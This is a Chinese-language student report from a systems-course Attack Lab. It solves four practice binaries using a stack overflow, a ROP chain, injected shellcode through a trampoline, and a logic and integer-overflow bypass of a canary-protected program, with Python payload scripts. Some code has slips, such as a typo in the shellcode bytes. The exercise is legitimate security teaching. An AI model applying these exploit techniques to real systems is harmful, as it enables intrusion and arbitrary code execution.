

Attack Lab Report

姓名：刘恩希

学号：2024202853

题目解决思路

Problem 1:

- 分析：

- a. 目标识别：

首先使用 `objdump -d problem1 | grep func1` 查看二进制文件，发现存在一个名为 func1 的函数，地址为 0x401216。该函数内部包含了打印目标字符串的逻辑。

- b. 漏洞定位：

查看 func 函数的汇编代码 `objdump -d problem1 | grep -A 20 "<func>:"`，发现程序使用了 strcpy 函数将输入复制到栈上的缓冲区，且未进行长度检查，存在栈溢出漏洞。

- c. 栈帧分析与偏移量计算：

- 汇编指令 `lea -0x8(%rbp), %rax` 显示缓冲区起始地址位于 `rbp - 0x8`。
 - 函数的返回地址存储在 `rbp + 0x8` 的位置（紧随 Saved RBP 之后）。
 - Padding 计算：**从缓冲区起点 (`rbp-8`) 到返回地址 (`rbp+8`) 的距离 = 8 字节 (Buffer) + 8 字节 (Saved RBP) = **16** 字节。

- 解决方案：

编写 Python 脚本 solve1.py 生成二进制 Payload。Payload 结构为：16 字节的垃圾数据（用于填充缓冲区和覆盖 RBP）+ func1 的地址（覆盖返回地址）。

```

1 import struct
2 padding = b'A' * 16
3 # 使用 <Q 表示小端序 64 位无符号整数
4 target_addr = struct.pack('<Q', 0x401216)
5 payload = padding + target_addr
6
7 with open("ans1.txt", "wb") as f:
8     f.write(payload)

```

- 结果：

在终端运行命令 ./problem1 ans1.txt，输出：

```

liuenxi@LAPTOP-R9GVT78M:~/attack-lab-19yxy$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!

```

Problem 2:

- 分析：

a. 保护机制分析：

题目说明开启了 NX 保护，这意味着栈上的数据无法作为代码执行。因此不能像 Problem 1 那样直接跳转到栈上，而需要利用程序中已有的代码片段构建 ROP 链。

b. 确定目标与参数：

- 目标函数为 `func2`，地址经查询为 `0x401216`。
- 反汇编 `func2` 发现指令 `cmp1 $0x3f8, -0x4(%rbp)`，说明函数内部需要验证参数。第一个参数通过 `%rdi` 寄存器传递，因此我们需要将 `%rdi` 的值设置为 `0x3f8`。

c. 寻找 Gadget：

使用 `objdump -d problem2 | grep "pop.*rdi" -A 1` 查找可以控制 `%rdi` 的指令。

找到地址 `0x4012c7` 处的 Gadget：

```

1 pop %rdi
2 ret

```

该指令可以将栈顶数据弹出至 `%rdi`，然后返回。

d. 偏移量计算：

分析 `func` 函数，发现缓冲区布局与 Problem 1 相同，因此 Padding 长度仍为 16 字节。

- 解决方案:

构造 ROP 链，逻辑顺序为：填充数据 -> Gadget 地址 (将下一项弹入 rdi) -> 参数值 (0x3f8) -> 目标函数地址 (func2)。

```

1 import struct
2
3 padding_len = 16
4 pop_rdi_ret = 0x4012c7 # Gadget 地址: pop rdi; ret
5 arg_value = 0x3f8       # 参数值: 0x3f8
6 func2_addr = 0x401216 # 目标函数地址
7
8 payload = b'A' * padding_len
9 payload += struct.pack('<Q', pop_rdi_ret)
10 payload += struct.pack('<Q', arg_value)
11 payload += struct.pack('<Q', func2_addr)
12
13 with open("ans2.txt", "wb") as f:
14     f.write(payload)

```

- 结果:

运行 ./problem2 ans2.txt，输出：

```

liuenxi@LAPTOP-R9GVT78M:~/attack-lab-19yxy$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!

```

Problem 3:

- 分析:

a. 目标识别与参数需求:

- 反汇编 func1(`objdump -d problem3 | grep -A 20 "<func1>:"`)，发现指令 `cmp1 $0x72, -0x44(%rbp)`。
- `0x72` 的十进制值为 **114**。题目要求输出 "Your lucky number is 114"，这意味着我们需要调用 `func1`，且必须满足参数条件（即第一个参数 `%edi` 必须为 114）。

b. 策略选择:

- 我首先想要找到简单的 `pop rdi`，就像第一题一样，但是并未找到，于是转而去寻找替代方案。发现特殊函数 `jmp_xs` (`0x401334`)，汇编代码如下：

```

1 0000000000401334 <jmp_xs>:
2 ...
3 40133c: mov 0x21cd(%rip),%rax    # 读取
   saved_rsp
4 401343: mov %rax,-0x8(%rbp)
5 401347: addq $0x10,-0x8(%rbp)    # 核心逻辑:
   将地址加 16 (0x10)
6 40134c: mov -0x8(%rbp),%rax
7 401350: jmp *%rax                # 直接跳转到
   计算出的地址执行

```

- `jmp_xs` 的汇编逻辑是读取 `saved_rsp`, 加上 `0x10` 后, 该指针恰好指向了缓冲区的起始位置, 然后直接 `jmp` 跳转过去。于是我们可以将 Shellcode 写入缓冲区开头, 覆盖返回地址为 `jmp_xs`。函数返回时跳转到 `jmp_xs`, `jmp_xs` 再跳回缓冲区执行 Shellcode。

c. Shellcode 编写:

```

1 mov $0x72, %edi      ; 将 114 (0x72) 放入 edi 寄存器
2 mov $0x401216, %eax  ; 将 func1 地址放入 eax 寄存器
3 call *%eax           ; 间接调用 func1

```

对应机器码为: bf 72 00 00 00 (mov), b8 16 12 40 00 (mov), ff d0 (call), 总长为12字节。

d. 偏移量计算:

查看 func 汇编: `lea -0x20(%rbp), %rax`

Padding 长度 = $(rbp - (rbp - 0x20)) + 8 = 32 + 8 = 40$ 字节。

- 解决方案:

Payload 布局: Shellcode (置于栈顶) + 填充字符 (补齐40字节) + `jmp_xs` 地址 (覆盖返回地址)。

```

1 import struct
2 # 准备机器码
3 shellcode = b'\xbff\x72\x00\x00\x00' +
   b'\xb8\x16\x12\x40\x00' + b'\xff\xd0'
4
5 # 缓冲区总长是 40 字节
6 total_buffer_len = 40
7 padding_len = total_buffer_len - len(shellcode)

```

```

8
9 # 设置跳转地址，覆盖返回地址，让它跳去 jmp_xs
10 jmp_xs_addr = 0x401334
11
12 # 组合 Payload
13 payload = shellcode + (b'A' * padding_len) +
14 struct.pack('<Q', jmp_xs_addr)
15 with open("ans3.txt", "wb") as f:
16     f.write(payload)
17

```

- 结果：

运行 ./problem3 ans3.txt，输出：

- liuenxi@LAPTOP-R9GVT78M:~/attack-lab-19yxy\$./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114

Problem 4:

- 分析：

a. Canary 保护机制：

通过 objdump -d problem4 分析 func 函数，可以清晰地看到 Stack Canary 的实现代码：

- **Set**：在函数开头：

```

1 136c: 64 48 8b 04 25 28 00 00 00  mov
    %fs:0x28,%rax # 从 TLS 读取随机数
2 1375: 48 89 45 f8                  mov
    %rax,-0x8(%rbp)# 存入 rbp-8 (Canary位)

```

Canary 被放置在 rbp-0x8，位于局部变量缓冲区和返回地址之间。

- **Check**：在函数尾部：

```

1 140a: 48 8b 45 f8          mov
                                -0x8(%rbp),%rax # 取出栈上的值
2 140e: 64 48 2b 04 25 28 00 00 00 sub
                                %fs:0x28,%rax    # 与原值比较
3 1417: 74 05                je 141e
                                # 相等则通过
4 1419: e8 b2 fc ff ff      call 10d0
<__stack_chk_fail@plt> # 失败则报错

```

如果栈溢出发生，`rbp-0x8` 处的值会被覆盖，导致检查失败，触发 `__stack_chk_fail`。

b. 逻辑漏洞逆向：由于无法利用栈溢出，转而寻找逻辑漏洞。

- 字符串解密：汇编代码中调用了 `caesar_decrypt` 函数，将密文 "xuwquoe" 移位 12 后得到 "likeics"
- 整数溢出：反汇编 `main` 函数，发现程序将输入的数字与一个巨大的阈值 `0xf4143da0` (约 40 亿) 进行比较。由于输入使用 `%u` (无符号整数) 读取，我们可以输入 `-1` (即 4,294,967,295)，这必然大于阈值。
- 解决方案：
 - a. 运行程序 `./problem4`。
 - b. 程序询问名字，任意输入。
 - c. 程序询问是否喜欢 ICS，输入：ilikeics。
 - d. 程序提示 "give me enough yuanshi"，此时输入数字： `-1`。
- 结果：
 - liuenxi@LAPTOP-R9GVT78M:~/attack-lab-19yxy\$./problem4
 hi please tell me what is your name?
 liuenxi
 hi! do you like ics?
 ilikeics
 if you give me enough yuanshi, I will let you pass!
 -1
 your money is 4294967295
 great!I will give you great scores

思考与总结

通过本次 Attack Lab 实验，我从基础的栈溢出利用逐步深入到了绕过现代保护机制的高级技术：

1. **栈帧理解**: 深刻理解了函数调用时栈帧的布局，特别是 `saved %rbp` 和 `return address` 的位置关系，这是计算 Padding 的核心。
2. **ROP 技术**: 掌握了在 NX 保护下，如何利用程序自身的代码片段 (Gadgets) 来拼接逻辑，劫持控制流。
3. **Shellcode 注入**: 体验了在可执行栈环境下，如何编写并注入机器码，配合 Trampoline 技术实现任意代码执行。
4. **安全保护机制**: 深入分析了 **Stack Canary** 的汇编实现原理，明白了它是如何有效防御连续覆盖的栈溢出攻击的。